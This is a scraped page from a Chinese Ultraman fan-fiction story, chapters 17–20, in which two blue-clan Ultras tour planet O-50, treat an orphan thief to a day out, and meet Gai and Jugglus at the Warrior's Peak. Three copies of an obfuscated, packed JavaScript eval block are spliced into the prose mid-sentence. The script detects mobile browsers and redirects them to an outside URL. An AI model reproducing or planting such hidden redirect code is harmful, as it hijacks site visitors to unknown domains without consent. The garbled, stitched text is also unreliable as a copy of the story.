$(''.inform'').remove(); $(''#content'').append('' 在努力研究开发装备呢,对于老师来说,早一些开发好装备,比敌人的装备更优越一些,就能拯救更多同胞的生命吧?” “希卡利在努力研发科技,敌人也在研发科技。这是一场军备竞赛,一场吐血的马拉松比赛,越是努力越是痛苦,最后赢的人也不过是苟延残喘。”托雷基亚抬手遮住了自己的眼灯,一针见血地指出问题的本质,他疲惫地说:“可是我们不跑还不行,因为敌人已经参赛了。” “我知道啊,这个问题,老师也知道。”罗塞塔的脸上出现一个甜蜜的微笑,像是少女看见毛绒绒的大狗狗,“可是老师还是为此拼命地努力着,我觉得他努力的样子很可爱呢。” 托雷基亚不对罗塞塔的评价发表任何意见。因为觉得老师努力的样子很可爱就陪他拼命加班,他怀疑其实罗塞塔早就被加班逼疯了,希卡利那张恶魔一样的脸到底哪里可爱了。他心平气和地说:“我认为我应当享有按时下班的权利。” “托雷想干什么就干什么,多余的工作我会帮你完成的。” “我的意思是你也别加班了,”托雷基亚沧桑地说,“不要太溺爱希卡利和我了。” “我觉得这是正常限度的友好。”罗塞塔轻快地说:“好啦,出来玩就不要想那么多了。要考察的星球是【博尔赫斯】,我申请了一个月的外出时间。考察之前我们还可以去其他的地方玩一会。” “好吧,”托雷基亚提起一点兴趣,“我们过一会去哪里?” “听说O-50星系有新生的钻石行星,还有黄金组成的银河,要去看一下吗?” “听起来很美丽,我们一起去吧。” 银色的飞船像一只剑鱼在黑色的宇宙之海中穿梭,游向O-50星系的方向。它在夜空中划过一道白色的光痕,像是彗星的尾焰般闪耀绚烂,如黑夜之中闪耀的希望。光痕落进某个女孩蓝色的眼睛中,泛开一圈希冀的涟漪。女孩注视着夜空,停下步伐,闭上眼睛虔诚地许下愿望。 流星啊,我希望我和哥哥们都能够获得【幸福】。 “格丽乔,走了。” “嗯!罗索哥哥!” 17. O50盛产小土豆 (17) 罗塞塔和托雷基亚像是结伴旅行的女子高中生,打卡完钻石新星和黄金银河两个著名景点后,来到了行星O-50。他们拟态成人类的样子,在这颗星球上行走着。托雷基亚的人类拟态和泰迦TV里的雾崎一模一样,眼睛大而圆润,黑发内侧有蓝色的挑染。只是他没有穿着半黑半白的衬衫,而是穿了一件白色立领衬衫,黑色的长裤,外披入乡随俗,是一件麻色O-50的传统斗篷。罗塞塔的拟态是前世的人类样貌,黑色姬发,脸颊两侧长长鬓发轻微内扣,末端是如羽翼舒展一样的形状。她穿着黑色的露肩打底,一字领的白色的长裙,裙摆末端像百合花盛开。罗塞塔的斗篷也是白色的,兜帽的边缘绣着蓝色的细线。 “托雷,你的拟态还有蓝色的眼影耶。”罗塞塔凑近了去观察好友的脸,看见男人的眼皮上有一抹淡淡的青蓝色,像是远山辽远又飘渺的影子。她从托雷基亚黑色的眼瞳里看见自己的倒影,少女的脸庞一如从前。即使过去千年,罗塞塔也不曾忘记过最初的自我。 “我这样不好看吗?” 被观赏的蓝族并未展露出羞涩或是局促,托雷基亚抬了抬下巴,大大方方地展示自己的艳丽容貌。他垂下眼睫,又抬眼看她,眼波流转,故意做出一副哀怨的姿态:“罗塞塔不喜欢我的脸吗?” 罗塞塔被好朋友的故意搞怪逗乐了,她捧起男人的脸,轻快地回答:“很漂亮哦,托雷。非常符合我对于美学的定义。那我呢,托雷觉得我的样子怎么样?” 托雷基亚抬起手去捉罗塞塔的鬓发,入手的触感如丝绸般顺滑,捋到末端,发梢倔强地翘起,握在掌心像是抓住一只蓬松的小鸡崽。鸦羽般墨黑的发丝反射出丝缎的光泽,罗塞塔的眼瞳漆黑,眼角微微下垂,看向人的时候好像你是她的全世界。他以科学严谨的目光认真评估了少女的眉眼,作出评价:“纯洁而绮丽。非常美丽,罗塞塔。” 两个人互相好奇地触碰了彼此的脸,这是他们第一次以奥特曼之外的姿态显现。满足了好奇心之后,他们走下飞船。 O-50的天空是澄澈的蓝色,在高远的天空下,众生熙熙攘攘。许多不同种族的宇宙人在街上行走,不同的生命形态擦肩而过,不同的语言在空气中依靠声波传播。有挥舞着钳子的巴尔坦星人在叫卖武器,另一个摊位的佩丹星人不甘示弱地抢客人,一个女性匹特星人站在商店门口,依靠自己的美貌吸引不少宇宙人……路边还有必不可少的小吃摊贩,托雷基亚买了一份加满小料的草莓可丽饼。摊主热情地挥舞锅铲:“旁边的小姐要不要也来一份宇宙无敌好吃的可丽饼啊?” “不了,谢谢。我不喜欢甜食。” 光之国不需要货币的,所有的物资都是共享的。只是行星观测局、宇宙警备队、科技局、银十字这样的官方机构会额外调配资源和能源作为“经费”。而在O-50这种中立混乱的地带,也没有统一的货币。托雷基亚和罗塞塔用来支付的等价物是一种蕴含能量的矿石,无论在什么地方,能源都是共通的。他们在摊位前排队,等待八只手的摊主出餐。人群拥挤却互不干扰,乱得很有秩序。“和光之国完全不一样,虽然混乱,但是很有生命力。”托雷基亚和罗塞塔一边排队一边聊天。“完全的混乱无法使生命各得所需,所以哪怕是最邪恶的宇宙人,也会遵守某种共同约定的秩序。”罗塞塔说。 他们在充满烟火气息的人世间说着话,恒星的淡淡的天光落下,平等地照耀这颗星球上的所有生命。这是一个不错的季节,O-50的严冬刚刚过去,春天降临,各怀目的的宇宙人稠密如织,本地人的商铺乘机招揽生意。在漠漠黄土和碧蓝天空之间,有白色的野花开放。世间的一切都在挣扎着活下去,不论光明,不论黑暗。 罗塞塔感到身边有什么东西轻轻撞了她一下,她手疾眼快,抓住了一个低矮的身影。小偷使劲挣扎,却逃不开桎梏。在推搡间,兜帽滑落,罗塞塔看见这个小偷的真面目,是一个年岁很小的孩子。她扎着一个侧马尾,卷发一晃一晃,惊慌地看着她。 这个孩子有一双蓝色的眼睛,蓝得就像O-50的天空。 格丽乔默默关注那两个“闪亮”的人很久了。 她是八古巴巴收养的孩子之一,这个孤儿院里有很多孩子,所以每个孩子为了生存下去都要努力地赚“生活费”。格里乔和哥哥们本来是行星桑加上的战争孤儿,辗转流浪来到八古巴巴之家。哥哥们可以去当雇佣兵接活,但她毕竟是未长开的孩子,没有人愿意给小孩子工作,所以现在只能做一些偷鸡摸狗的事情。今天是O-50星举办集市的日子,格丽乔很早就来到这个地方,小心翼翼地观察有没有可以捡漏的空子。她是个聪明的女孩,敏锐地挑选可以下手的对象。凶恶的宇宙人不行,被抓到的下场会很凄惨;贫穷的宇宙人不行,他们的警惕心太强了;有护卫的宇宙人不行,根本无法接近……然后她看见了两个“大肥羊”。 那两个宇宙人虽然披着O-50星售卖的斗篷,却散发着格格不入的气质。他们的衣服太整洁,露出的皮肤洁白细腻,一看就是没有吃过苦的大少爷大小姐。最奇特的是他们举手投足间流露出的松弛感,和那些刀口舔血的宇宙凶徒不一样。格丽乔甚至看见那个女性把珍贵的粮食送给一个落魄的流浪汉,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648353|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚蠢的善良,早就引发不少人蠢蠢欲动。但是很奇怪,为什么没有人对他们动手呢?算了,格丽乔想,就算被抓住,这种天真的好人也很容易糊弄过去。 格丽乔出手。 她被抓住了。 抓住她的女性有与纤细外表不符合的巨大力气,她拎起这个小孩,晃了晃她:“可以把我的东西还给我吗?” “您在说什么,我只是不小心撞到您了。对不起,可以放下我吗?”小女孩露出楚楚可怜的表情,开始装傻。 “不对哦,小朋友。我的项链是朋友送给我的礼物,请还给我。”这位纯白的女士说话还是彬彬有礼,卖可丽饼的老板把袋子递给托雷基亚:“遇到这种手脚不干净的小鬼,您直接处理掉就行了,反正没有人会在意。”他用复眼看着这个失手的小偷,幸灾乐祸地想,傻孩子,为什么没有人敢对这两位大人动手,因为机灵点的都能看见他们身上巨大的能量反应。特别是这位小姐,她亮得都快闪瞎我的眼睛了! 格丽乔不情不愿地伸手,手心里放着一颗蓝宝石吊坠。托雷基亚拎着可丽饼走过来看了一眼:“这是泰罗送给你的宝石?” “嗯,我把它做成项链了。” 这颗蓝宝石闪烁着盈盈的辉光,无数切面折射出彩虹般的火彩。它看起来像一捧蓝色的水泊,水底散落金色的细沙。精致又昂贵,足以点缀一国公主的王冠。稍有一点眼力的商人都会愿意为它一掷千金,把它卖掉,说不定够养活一个城镇的人口。但是它的珍贵之处不在于价值,而在于这是朋友的心意。某一次治疗结束后,泰罗掏出一个盒子,紧张又忐忑地送给罗塞塔。他不好意思地说:“谢谢你一直为我治疗,这是我在一颗宝石星球带回来的伴手礼。因为它看上去很漂亮,我就买下来送给你了。希望你能喜欢!” 罗塞塔收回这颗蓝色的宝石。但是她没有放开这个小女孩,她端详了女孩清秀的脸,轻轻点在她的眼角:“你的眼睛很漂亮呢,像天空一样。” 完蛋了,该不会遇上有奇怪癖好的大人了吧!听说有的变态宇宙人就喜欢挖别人的眼睛收藏,罗索哥,布鲁哥,今天我好像回不去了…… 格丽乔惊恐地推开罗塞塔手指,如果她是一只猫,现在应该开始一边炸毛一边哈气。罗塞塔捏了捏小孩的脸,笑眯眯地问:“你叫什么名字?” “……”格丽乔抿了抿嘴,不情愿地回答,“……我是格丽乔。” “那么格丽乔,你想吃可丽饼吗?” “诶?”她瞪大了眼睛,抬起头看这个捉摸不透的大人。 阳光温柔地洒下,她看见一双静谧的眼睛。 18. 纸星星 (18) 怎么就变成现在这个样子了呢? 格丽乔晕乎乎地坐在长椅上,手上捧着一份温热的可丽饼。这份豪华加料的超大份可丽饼散发诱人的甜蜜香气,她悄悄地左右摆头,偷看这两个奇怪大人的表情。那位女士微笑着看着她,另一位先生好奇地打量着她。格丽乔的视线最后落回到手中的可丽饼上,细腻洁白的奶油上点缀着红色的浆果,她犹豫地张开嘴,小小地咬上一口。 好好吃。 托雷基亚暗中观察这个平平无奇的小孩,不知道这颗灰扑扑的小土豆怎么就触发了罗塞塔的善心。他对罗塞塔的好心施舍没有意见,甚至很欣慰,因为这证明罗塞塔终于开始在乎其他的生命了。他吃完可丽饼,又拿起另一个摊位买的饮料,喝了两口问:“你好像很喜欢这个孩子,有什么打算吗,罗塞塔?” “正好我们不熟悉这里,我想请她成为我们的向导。” “之后呢,你要收养她吗?”托雷基亚问。 他没有劝导这个名为格丽乔的孩子不要偷窃,偷东西是不对的。因为明眼人都能看出来,有父母的孩子是不会这样熟练地在街上行窃。对于想要活下去的人来说,生存就是最高的正义。他很怜惜这个孩子,光之国的任何一个人都不会为了生存发愁,但是在其他星球上,这么小的孩子就要孤苦伶仃地出来讨生活,托雷基亚甚至感到了羞愧,和这些孩子比起来,奥特曼真的是活在温室里的花朵。 “我倒是希望带她走呢,可是我们的星球不适合她这样的生命生活。”罗塞塔把玩着自己的发梢,叹了一口气说。她知道托雷基亚真正的意思,他问的是,这样的孩子在这颗星球上有很多。你能救她,你能救千千万万像她一样的孩子吗? 我不能,罗塞塔想。我不能阻止这个星系上的战火,也无法给予所有流浪儿一个家。但是格丽乔现在就在我的眼前,至少我能给她一天不用担心未来的日子。 罗塞塔知道格丽乔。这个孩子是一个温柔善良的女孩,她听信了八古巴巴的那套“生存就是正义”的理论,被哄骗着做了很多脏活。格罗布三兄妹一直以为自己是为了‘八古巴巴之家’而努力,是为了给和自己一样的孩子们好的生活而战斗。实际上只是成为了星间联盟的黑手套,用完了就被丢掉。他们未来会爬上战士之巅,向圆环寻求力量,变成O-50的奥特曼。而格丽乔会变成怪兽,然后他们到地球,罗索和布鲁被宇宙彩龙杀死,格丽乔成为美剑沙姬,一个人度过孤独的千年。 说起来这三个倒霉孩子的悲剧有一份还要算在托雷基亚头上,如果不是他修改了鲁格赛特的基因,宇宙白细胞就不会暴走。不……不能这么想。O-50的圆环一定会给格罗布三兄妹派活的,说不定这三个孩子在哪一个强敌面前就翻车了。 原来她叫罗塞塔,格丽乔偷听大人的对话。她像一只小仓鼠窸窸窣窣地进食,超大份的可丽饼沉甸甸地填饱她的肚子,充足的糖分带来愉悦的幸福感。她一边吃一边回忆,作为向导,有什么地方是她能带着两个好心的大哥哥大姐姐去游玩的。女孩咬了咬唇,沮丧起来。她知道哪里的武器最便宜,哪里的店铺可以换到情报,哪家店的回收价格最高。可是她不知道什么地方是漂亮又美好的,可以让两个纯粹的游客满意。格丽乔颠沛流离的人生第一次接受到这样柔软的善意,有一个人对她伸出手,不是掠夺而是给予。可是她回报不了。 “在想什么?小格丽乔?”托雷基亚低下头,轻轻摸了摸她的头。这孩子太瘦了,营养也有些不良,头发干枯粗糙。但是从她梳理的整齐的发型来看,她的身边或许也有一个关心爱护她的人。从格丽乔表现出的生活条件来推测,这个人的年龄不大,不是可以照顾她的成年人,或许是她的哥哥姐姐。 “先生,你们要去哪里呢?”女孩问。 “叫我托雷基亚就好,”黑发的男人回答。他沉思了一下,问罗塞塔:“你有什么想去的地方吗?” “我很好奇战士之巅的传说呢。”罗塞塔十指相触,轻轻搭成一个正三角。她说:“但那不是一个孩子应该去的地方,格丽乔,你有什么特别想去的地方吗?” 被问到的小孩下意识挺直了身体,她不假思索,下意识地回答:“我……我想去游乐园。” 结果真的被带去游乐园了。 游乐场是属于上层阶级的玩乐场所,格丽乔从来没有去过。她也不是天真爱玩的小孩子,只是在久远的回忆里,父母曾经摸着她的头说:“等我们格丽乔生日到了,我们一家一起去游乐园玩好不好啊?”那时候她还是家里的小公主,过生日的时候会有奶油蛋糕和纸板剪的王冠。爸爸妈妈计划着以后要送哥哥们去厉害的学校里面念书,将来不用做卖苦力的奴仆。爸爸教布鲁哥修理机车,机油蹭得满脸都是,罗索哥帮妈妈做家务,格丽乔在纸上涂涂画画,用彩色蜡笔画上‘幸福的一家’。 后来战争降临。 那些美好的期盼,未完成的约定都随着战火破碎。血、血、血、好多血……哥哥们拉着格丽乔的手拼命奔跑,把吃人的战场甩在身后。他们在土里摸爬滚打,学着偷窃,学着战斗,学着杀人。曾经握笔的手拿起弓箭,曾经温柔的哥哥变得冷酷,他们在星星间流浪,能够依偎的只有家人的体温。格丽乔从来没有向哥哥们抱怨过,只是她看着哥哥曾经杀死的人,还是忍不住想到:我们和他们不是一样的生命吗?为了生存,我们什么都可以做吗? 妈妈,我好想回家啊。 小女孩使劲眨眼,掩去眼中的热意。她被按在穿衣镜前,罗塞塔给她换了一身新衣服。是一件剪裁合身,方便行动的连衣裙。素色的及膝裙款式很低调,但是穿起来很舒适。挑选它的人顾及到格丽乔需要躲藏的需求,并没有给她华而不实的裙装。罗塞塔看了看小孩,和服装店的老板说:“再来一件厚斗篷,过冬用。” 付完钱,两个大人带着格丽乔去游乐园。游乐园的花树上系满挨挨挤挤的卡通气球,五颜六色的缎带随风飘扬,穿着充气人偶服的吉祥物在派发传单,色彩斑澜的建筑有夸张的尖尖屋顶。到处都是牵着父母的小孩,他们蹦蹦跳跳,脸上洋溢着快乐的笑容。托雷基亚和罗塞塔一左一右牵着格丽乔的手,罗塞塔低头,带着香气的发梢拂过她的肩膀,她问:“格丽乔,想玩什么项目?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648354|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>格丽乔没有说话,她松开手,捂住自己的脸。透明的液体从她的眼中流出,像是一瓶装满苦水的玻璃瓶,积攒不下更多的委屈。她以为自己可以忍住的,这么多年不都忍过来了吗? 为什么,被温柔以待反而忍不住了呢? 她红着眼眶,哽咽着问:“为什么呢?为什么……你们为什么要对我那么好啊!” 一切都美好得像个不切实际的旧梦。格丽乔看着曾经期待的地方,忽然明白,她想去的不是游乐园,她想要的是回到过去,回到爸爸妈妈都在的童年时光。时至今日,她已经记不清父母的脸了。可是当托雷基亚和罗塞塔牵起她的手,一种致命的熟悉感击中她的心,钝痛从心口蔓延到全身。痛侧心扉。她佝偻起肩膀,嚎啕大哭。如果……如果爸爸妈妈还活着就好了。她在欢乐的游乐园里任性地哭泣,可是现在来哄她的已经不是过去的人。 罗塞塔蹲下来抱住她。 “好孩子,好孩子,幸苦了。”她轻轻拍着格丽乔的背,“把自己养得这么好,真是了不起。你会拥有很好很好的未来,你会成为很好很好的人。” “可是、我不是好孩子,”格丽乔抽噎着说,“我做过很多坏事,伤害过很多人。幸福是给好人的奖励,我怎么会有未来呢?” “格丽乔,你还是一个孩子呢。”罗塞塔轻柔地擦去她的眼泪,“你的错误来源于宇宙的复杂性和必然性,是无力反抗大人欲望战争的余毒。你要生活,去上学,你要成长,去战斗,然后你就会明白,你该选择什么样的未来。” 小孩的哭泣渐渐停歇了。三个加起来凑不出一对父母的人牵着手走在孩童的幻梦里。他们什么也没有玩,只是注视着来往人们脸上的笑容,欢快温馨的歌谣不间断地广播着,一直到闭园才慢慢停息。最后他们一起在夜色下,看着夜空中璀璨明亮的花火升起。 十二点的钟声敲过,灰姑娘的仙女教母要离开了。 罗索和布鲁找到格丽乔的时候,他们看见妹妹一个人坐在公园的长椅上,脚边放着服装店的购物袋。他们听说格丽乔被人抓住了,急匆匆地过来。两个人都风尘仆仆,衣服上的血迹还未处理。罗索看着被打扮过的妹妹,除了眼眶有一些红肿,精神样貌都很不错,不像受了伤的样子。他松了一口气,走去按住格丽乔的肩膀:“格丽乔,发生什么事了。” “……不是什么坏事。” 布鲁没有说话,扑过去紧紧抱住格丽乔,仿佛只有这样才能确认家人安好。格丽乔闻到哥哥身上烟尘和血的铁锈味,她用脸蹭了蹭兄长的侧脸,小声说:“哥哥,我捡到一颗流星。” 她张开手心,手里放着一枚纸叠的星星,是罗塞塔临走前送给她的。布鲁警惕地拿起这颗星星,指尖按压到坚硬的触感,他拆开这颗星星,里面是一枚芯片。 “这是……”他惊讶地睁大了眼睛。 “星间联盟的不记名定额芯片,一枚就是一千万元通用货币。”罗索检查之后说。 格丽乔没有去看那枚价值不菲的芯片,她看着那张皱巴巴的星星折纸,纸上用铅笔写着一句诗。 “愿你的未来光辉灿烂。” 19. 这里有一个人被孤立了,是谁我不说 (19) 伽古拉和凯历经千辛万苦爬上战士之巅,他们还没来得抒发自己的激动之情,就看见有两个人围在圆环面前吃火锅。 什么鬼,我出现幻觉了吗? 伽古拉瞪大眼睛,扯了扯凯的围巾:“凯!你看那里是不是有人?” “真的有啊!伽古拉,难道他们是圆环的守护者吗?” 不怪凯作出这种孩子气的判断,因为这两个人实在是太从容了。那是两个黑发的人形生物,从外表看是一男一女,他们的衣着干净整洁,衬衫和斗篷像刚熨烫过似的板正,和灰头土脸的伽古拉一点也不一样。他们坐在冰天雪地的山巅上围着圆环吃火锅,天知道他们是怎么把食材带上来的。 凯没想那么多,他已经冲上去打招呼了:“前辈们好,我可以过来触碰圆环吗?” 头发带蓝色挑染的男人抬起头,有点不满地说:“你想碰就碰,但是我要提醒你,你不一定会得到想要的东西。” 凯睁大了眼睛,他虽然单纯,却有一种敏锐的直觉。这个直觉常常成功地帮助他判断伽古拉是不是真的在生气。他察觉到眼前这个秀气的男性的不满不是针对自己,反而是……针对圆环之光的?一不注意就没拽住凯的伽古拉冲过来,抬起蛇心剑,警惕地把凯护在身后,发出了常识人的声音:“你们也是战士之巅的挑战者吗?” “啊,可以是可以是。”两人中的女性抬起头,递过来两个一次性碗:“来都来了,事已至此,先吃饭吧。” 咕嘟咕嘟冒着热气的火锅在雪夜中十分诱人,氤氲的水雾带来肉干和浓汤的香气。辛辛苦苦爬了这么久的山,剑士和医疗兵早就又冷又饿。凯的眼睛亮起来,他看向伽古拉:“伽古拉?” 这两个奇怪的人已经吃上了,看起来没有毒。他们的状态和体力都完好,打起来我和凯没有优势,我需要时间休整……伽古拉评估了一下情况,默默接过碗,和凯坐在两人的对面。凯欢天喜地地拿起汤勺舀汤,然后才想起来还不知道两个前辈的名字。他放下碗,认真地自我介绍起来:“前辈们好!我是凯,这是我的同伴伽古拉斯·伽古拉。” “你好,我是罗塞塔。” “托雷基亚。” 奇怪的名字,听起来都不是本地人,不知道是什么种族的宇宙人。伽古拉慢慢放下蛇心剑,接过凯递过来的汤,绿色的蛇瞳藏在食物的热气后观察这两个神秘的家伙。一时间战士之巅安静下来,只剩下圆环孤零零地发着光。 为何会出现这种吊诡的场面,还要从两天前说起。 放归了野生的格丽乔之后,罗塞塔和托雷基亚决定去爬战士之巅,看一看山顶上有没有传说中的圆环之光。虽然奥特曼可以直接飞,可是O-50星的传说限定了登陆战士之巅的方式是“爬上”而不是“降临”,他们还是要老老实实地亲自用腿跑一趟。上山前罗塞塔去补充了物资,买了食物和水,然后她就和托雷基亚一起开始爬雪山。 光之巨人耐热不耐寒,但是区区零下几百度的寒冷不足以打败两个训练有素的蓝族。他们在崎岖的雪山上如履平地,一边吃零食一边聊天一边走路,活像村里饭后散步消食的老太太老爷爷。托雷基亚问:“你那时候给格丽乔塞钱了吧,该不会把我们的考察经费都给她了?” “没有,那些钱是我来O-50之前准备的旅游资金,我在星间联盟接了几个芯片制造的单子赚的。出售技术来钱蛮快的,应该够养几个小孩了。” “小孩子可守不住突如其来的财富。”托雷基亚说,“如果被其他人盯上,那个孩子的下场会很凄惨。” “唔,我知道。所以我在那颗纸星星上放了一个定位,最多一天,宇宙警备队就会过来「开门!送温暖。」了。” “你什么时候放的,”托雷基亚很感兴趣,“我完全没有注意到。” “我们小时候曾经在德祐行星上发现了遗迹,我破译了那些字符。那些文字其实是构建术法的基础模型。我将这些咒文重新编译,用诗歌作为转译掩码,构筑了属于我的咒术。”罗塞塔说,“我在纸上写了一句话,那句话会向外发射实时坐标,呼唤宇宙警备队的降临。” “你果然什么都考虑到了呢,”托雷基亚放心下来,他也希望那个野花一样的小女孩不要早早凋零。 他们路过皑皑的白雪,路过失败者的尸体,路过正在爬山的某人,就这样轻轻松松地溜达到了山顶,普普通通地见到了圆环之光。站在圆环的面前,托雷基亚围着它转了一圈:“看起来的确是属于光明的存在,要是能把我们的实验室搬过来就好了,想要拆开研究一下呢。” 圆环沉默不语。 “据说圆环会给爬上战士之巅的挑战者力量,托雷,你要试一下吗?” 托雷基亚想起来失败的战士考核,想起了曾经的梦想,想起了泰罗战斗的身姿……真的吗?这枚发光的圆环,能够实现我曾经的愿望吗?他注视着这道光芒,却没有马上伸出手,他转头问:“那么,代价是什么?” “要给圆环打工,全年无休拯救世界。” 听起来不是不可接受的事情,于是托雷基亚向圆环伸出手。 什么都没有发生。圆环安静地发着光,任凭托雷基亚的手伸进来又拿出去,什么反应都不给。 不是,这么小气吗?罗塞塔想,不给欧布圆环我理解,因为托雷基亚本来就是光,但是怎么连怪兽的力量也不给,都到你面前了,给个见面礼意思一下也可以啊。 托雷基亚本来就没抱太大期望,也说不上失望。他只是抱着“来都来了”的心态来拜一拜而已。他收回手:“没什么感觉,罗塞塔,你来试一试?” 罗塞塔走上前,将手伸进圆环。 圆环安静如鸡。 “算了算了,”罗塞塔收回手,“不给力量也好,至少不用做任务。” 圆环闪烁了一下,罗塞塔的话音刚落,它投射出一段文字。托雷基亚抬头念了出来:“去地球击杀邪神加坦杰厄。” 圆环:骗你的,给力量要做任务,不给也要做,嘻嘻。 这对吗?罗塞塔看了又看,那行字还在那里。不是说圆环拥有优秀的匹配机制,不会给战士无法完成的任务。但是叫两个蓝族去打加坦杰厄,你以为我们两个是闪耀迪迦吗? “换一个,”罗塞塔无语地说,“这个不行。” 发光的字符跳了一下,居然真的变换内容:“完全消灭卡欧斯病毒。” “换。” “消灭所有宇宙球体斯菲亚。” “换。” “抹消■■■。” “你别玩了,”托雷基亚扶额,“圆环都给你整出乱码了。虽然我们没有获得力量,但是如果世界遭受威胁,我们身为奥特曼应该伸出援手。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648355|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住操控巴力西卜的幕后黑手。” 最后的字符不情愿地汇聚成这样一段话,罗塞塔敲了敲圆环,它不再改变。她沉思了一会,这应该是属于欧布的任务,看来目前凯和伽古拉还没爬上来。她放下手,对托雷基亚说:“来的时候我注意到山壁还有正在爬的挑战者,要是圆环这么不靠谱,我担心他们会有去无回。我们在这里等一下吧,看看圆环给他们的任务是什么,顺手一起做了。” “好吧。还好我们是奥特曼,要是普通的宇宙人爬上来,却遇到这样的事情,真不知道他们该怎么办才好。” 两人坐下来,罗塞塔从包里掏出一块铁锭,在手中聚起高热光线融化重铸成一口锅。他们把没吃完的肉干、零食、雪水丢进锅里一起煮,就这样围着圆环坐下来。在锅子熟透之时,他们等到了两个狼狈不堪的小土豆。 光之巨人基本不需要进食,罗塞塔和托雷基亚使用的是拟态,虽然外表看起来像人类,但是内在结构完全没按血肉之躯捏。表象意思意思了一下,内里全是光。他们光靠晒太阳就能活,所以煮的这一锅食物是给这两个小倒霉蛋准备的。两个奥特曼尝了一口,就把剩下的肉汤全让给伽古拉和凯。凯埋头苦吃了一阵,满足地放下碗,才发现大部分食物都被他们消灭了。 “都被我们吃完了……谢谢前辈们,下山以后我一定会报答你们的,我请你们吃大餐。” “谢谢。” 伽古拉放下碗,也应和了一声。温馨的大锅饭时间已经结束,接下来的事情就是,谁来第一个触碰圆环。 “顺序无所谓,”容貌绮丽的女性看着他们说,“你们谁去都一样。” 谁知道她说的是不是真的。伽古拉拿起蛇心剑,走向圆环。环形的光芒在夜色中发出洁白的光芒,如同神明在世间睁开一只的眼睛。神的目光注视着他,伽古拉颤抖地伸出手。 请看见我。 看见我。看见我。看见我。给我制止战火的力量,给我不必放弃拯救的选择,给我最公平的正义,神啊,请看见我! 凯看了看没有动作的罗塞塔和托雷基亚,慢了一步,跟在伽古拉身后。 伽古拉被圆环弹开了。 我就说这东西不靠谱,托雷基亚心想,然后他看见凯向圆环伸出手,在他眼前从人类变成了奥特曼。 不是,真的有用啊? 这是他第一次看见光之国以外的奥特曼诞生,欧布的体色是红银二色,胸口的计时器是圆环的形状。如果放在光之国,他会被分类为红族。托雷基亚气笑了,红族,又是红族。原来我和罗塞塔是蓝族才被圆环拒绝吗?只有身上带点红才能成为战士的诅咒还在追他!圆环给凯和伽古拉发布了任务,罗塞塔打扫完锅碗瓢盆,走到他们身边:“一起去做任务。” “这是我们的任务,已经很麻烦前辈们了……”凯不好意思地挠了挠头,虽然不知道为什么圆环之光选择了自己,而不是更厉害的伽古拉,但是他会努力成为配得上这份光芒的人的。伽古拉看着这两个一开始就在山顶煮锅子的人,心里的愤慨和不满稍微平复了一些,原来不是只有我被拒绝,或许凯身上真的有比我更优秀的东西……然后他听见罗塞塔说话:“没关系。因为我和托雷基亚确实是你的前辈,我们都是奥特曼。” 伽古拉的表情扭曲了,他在心里呐喊,合着在场的四个人里,只有我一个人不是奥特曼! 20. 前辈向你投喂了技能大礼包 (20) “……事情大概就是这样。” 罗塞塔一边开着飞船一边说。 “原来如此,前辈们是光之国的奥特曼,在科考的过程中遇见了我们,所以决定带领我们完成第一个任务。”凯了然地点点头,“所以我没有叫错,罗塞塔小姐和托雷基亚先生果然是我的光之前辈!” 伽古拉抱着剑,打量这艘对于他过于庞大的飞船。光之国的飞船是按奥特曼的身高建造的,而奥特曼们的平均身高是40米。他和凯被放在操作台上,像两个精致的手办摆件。在战士之巅上确定目的地后,为了节约体力,名为罗塞塔的奥特曼提议说他们是开着飞船来的,可以带伽古拉和凯去往目的地。他们在二人面前显露了奥特曼的真身,一个是天蓝色的,一个是钴蓝色的,两张面容端丽而圣洁,都不是宇宙中常见的奥特曼形象。“因为我和罗塞塔都不是战斗序列的。”天蓝色的托雷基亚低下头说,“但是在战斗方面我们姑且都有一些经验。”头顶角翼的钴蓝色罗塞塔向他们伸出手,伽古拉还未从见到巨人美貌的震撼中回过神,凯已经激动地抓起欧布圣剑,像扑向母鸡的小鸡一样,迫不及待地冲到罗塞塔手中,然后转过身朝伽古拉招手。伽古拉默默提起蛇心剑,走到了她的掌心。 被比自己庞大数十倍的巨物拢在掌心,是一种很恐怖的体验。因为你知道,这个巨人只要轻轻合掌就能把你压成一捧血泥。无论什么样的反抗都挣不脱这双蓝色的手,他们站在巨人的手中向上看去,一双边缘柔和的菱形眼灯朝他们望了一眼,她将手举到眼前,朝他们轻轻地点头,那一瞬间,好像两轮白色的月亮短暂地在湖面升起又落下,银白又清冷的辉光落了他们满身。罗塞塔轻柔地捧起他们,和托雷基亚一起朝飞船飞去。 